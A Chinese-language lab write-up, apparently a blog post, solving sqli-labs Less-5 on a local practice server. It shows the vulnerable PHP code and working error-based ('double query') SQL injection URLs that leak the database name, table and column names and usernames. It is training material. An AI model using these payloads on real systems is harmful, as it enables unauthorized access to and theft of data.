SQL注入:sqli-labs:5~6 double injection(Query)
第五题:
http://127.0.0.1/sqli/Less-5/?id=1显示:You are in…….后面发现,不管是1,2,3,4都死显示Your are in ……,不打紧,继续看看http://127.0.0.1/sqli/Less-5/?id=3'直接报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘'3'' LIMIT 0,1’ at line 1,字符型注入,和第一题一样:- 判断回显点:
http://127.0.0.1/sqli/Less-5/?id=3 order by 3 --+,… select 1,2,3 好奇怪,是 You are in … - 根据题目提示,这个是双查询注入,我参考了博客:https://www.cnblogs.com/-zhong/p/10892439.html但是作者只讲了方法,我觉得还是需要从源代码进行入手,即代码审计。
- 这道题运用的仍然是报错注入的方法,先进行一下代码审计,源代码是这样的:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else { echo "Please input the ID as parameter with numeric value";}
- 可以看到,主要还是有个
mysql_fetch_array($result)这个代码,只要这个代码返回了值,就永远都是You are in…。所以此次注入的重点就是:不让mysql_fetch_array($result)起作用。 - 该博客的博主详细介绍了使用count()函数可以阻止结果的生成并且报错,报错的结果里面可以筛查出我们想要的信息,我的解释如下:
select concat((select database()),'sss');可以将数据库的名字和某个字符串相结合。select rand();可以生成0~1的随机浮点数select floor(rand()*2);和floor()函数结合就可以生成随机整数。select concat((select database()),floor(rand()*2)) from users;加入限制条件就可以得到我们想要的数据库名称,而且可以把记录的行数生成出来。select count(*),concat((select user()),floor(rand()*2)) as a from information_schema.schemata group by a;到最后,使用group by 进行分组,并且用count(*)进行计数,如果只有一组,那就无法分组导致报错,报错就会把内容爆出来,当然,这是随机的,要多试几次。- 回到题目:输入
http://127.0.0.1/sqli/Less-5/?id=3' union select count(*),group_concat(database(),floor(rand()*2)) as a from information_schema.schemata group by a就直接报错了:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘' LIMIT 0,1’ at line 1。这就是一个字符型注入,前面说了,就不验证了。 - 使用:
http://127.0.0.1/sqli/Less-5/?id=3' union select count(*),concat((select user()),floor(rand()*2)) as a from information_schema.schemata group by a --++++发现他说The used SELECT statements have a different number of columns。 - 那就加上一行,在conut(*)前面加个1.
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select user()),floor(rand()*2)) as a from information_schema.schemata group by a --++++多刷新几次,因为是随机数,查到users是root,于是我们就可以随意更改变量,来达到我们的目的。- 爆数据库名:
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a --++++报错是:Duplicate entry ‘security1’ for key ‘’ 可知数据库是security。 - 爆表名:
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema=database()),floor(rand()*2)) as a from information_schema.schemata group by a --++++报错:Duplicate entry ‘emails,referers,uagents,users0’ for key ‘’ - 爆字段:
http://127.0.0.1/sqli/Less-5/?id=3' union select 1,count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema=database()),floor(rand()*2)) as a from information_schema.schemata group by a --++++报错Duplicate entry ‘id,email_id,id,referer,ip_address,id,uagent,ip_address,username,’ for key ‘’ - 爆内容:
http://127.0.0.1/sqli/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a --++++++在limit后面变成2,1 3,1这么慢慢试就可以把元素都试出来了。
第六题:
- 第五题和第六题差不多,我就以截图的形式来说吧:








SQL注入:sqli-labs:5~6 double injection(Query)的更多相关文章
- 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现
影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...
- SQL Injection(SQL注入漏洞)
审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...
- WebGoat学习——SQL注入(SQL Injection)
SQL注入(SQL Injection) 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.攻击者通过web请求提交带有影响正 ...
- [SQL注入2]FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION
FROM SQL INJECTION TO SHELL: POSTGRESQL EDITION 这里先介绍一下POSTGRESQL.这是一款数据库管理系统,与oracle是同类型软件.08年左右的市场 ...
- [SQL注入1]From SQL injection to Shell
第一次写,希望大神们多指点. 对于刚接触WEB渗透测试这块的朋友们,很希望能有个平台可以练习.网络上有不少,十大渗透测试演练系统,我这里推荐一个在10以外,适合初学者一步一步进步的平台PENTESTE ...
- DVWA 黑客攻防演练(八)SQL 注入 SQL Injection
web 程序中离不开数据库,但到今天 SQL注入是一种常见的攻击手段.如今现在一些 orm 框架(Hibernate)或者一些 mapper 框架( iBatis)会对 SQL 有一个更友好的封装,使 ...
- SQL注入——SQL Injection
本文部分内容转自:https://www.cnblogs.com/rush/archive/2011/12/31/2309203.html http://www.diybl.com/course/7_ ...
- SQL注入(SQL Injection)案例和防御方案
sql注入(SQL Injection):就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入攻击的主要危害包括:非法读取.篡 ...
- 防sql注入之参数绑定 SQL Injection Attacks and Defense
http://php.net/manual/zh/pdo.prepared-statements.php 预处理语句与存储过程 很多更成熟的数据库都支持预处理语句的概念.什么是预处理语句?可以把它看作 ...
- 【DVWA】【SQL Injection】SQL注入 Low Medium High Impossible
1.初级篇 low.php 先看源码,取得的参数直接放到sql语句中执行 if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQ ...
随机推荐
- Defense:SMB协议漏洞利用与控制CVE-2017-7494("永恒之蓝")攻防实验
漏洞描述 1. 服务器打开了文件/打印机共享端口445,让其能够在公网上访问 2. 共享文件拥有写入权限 3. 恶意攻击者需猜解Samba服务端共享目录的物理路径 Samba是在Linux和UNIX系 ...
- <c:out>标签不能正确输出value中的值
问题: 我打算在jsp中输出request中的值,它的key为username, <c:out value="${requestScope.username}"/> 但 ...
- java面试一日一题:字节java后端工程师面试题
今天来分享下字节一面面试题,各位小伙伴看看都能答上来吗,弄懂下面的问题你离字节又近了一步哦,加油吧 1.自我介绍: 2.问到项目中为什么选择hbase,如果有多个查询条件如何设置数据存储方案: 3.t ...
- ARTS第十二周
1.Algorithm:每周至少做一个 leetcode 的算法题2.Review:阅读并点评至少一篇英文技术文章3.Tip:学习至少一个技术技巧4.Share:分享一篇有观点和思考的技术文章 以下是 ...
- 7.Java数组
一.数组概念(最简单的数据结构) 数组是相同类型数据的有序集合. 数组描述的是相同类型的若干个数据,按照一定的先后次序排列组合而成. 其中每一个数据称作一个数组元素,每个数组元素可以通过一个下标来访问 ...
- printf函数返回值
//返回值:正确返回输出的字符总数,错误返回负值,与此同时,输入输出流错误标志将被置值,可由指示器ferror来检查输入输出流的错误标志. #include <stdio.h> #defi ...
- 求数组的子数组之和的最大值IV
在之前的基础上又安排了二维数组的,在课上一开始是理解错要求了,简单的以为用循环数组就能解决,但是却忽视了子数组是否能构成矩形,之后课下和同学们讨论,主要是多重遍历,但是我还是没搞明白怎么构成新的二维数 ...
- 学生信息管理系统--基于jsp技术和MySQL的简单增删改查
web实现增删改查的方式有很多啊,对于初学者来说当然是要先了解各部分的传值的方式.本篇博客从jsp技术的最基础方面进行说明. 一.什么是jsp技术 首先,我们要了解什么是jsp技术. jsp技术是基于 ...
- SpringBoot获取前端传递JSON的几种方法
一.Json对象+@RequestBody接收 var val = {id: 1, name: "小明"}; $.ajax({ url: "/getJson", ...
- 12、Java——异常
1.异常处理方案: 异常抛出 : throws 把异常抛出到上一层,谁调用谁解决 异常捕获 : try..catch try{ 有可能出现异常的代码; }catch(FileNotFoundEx ...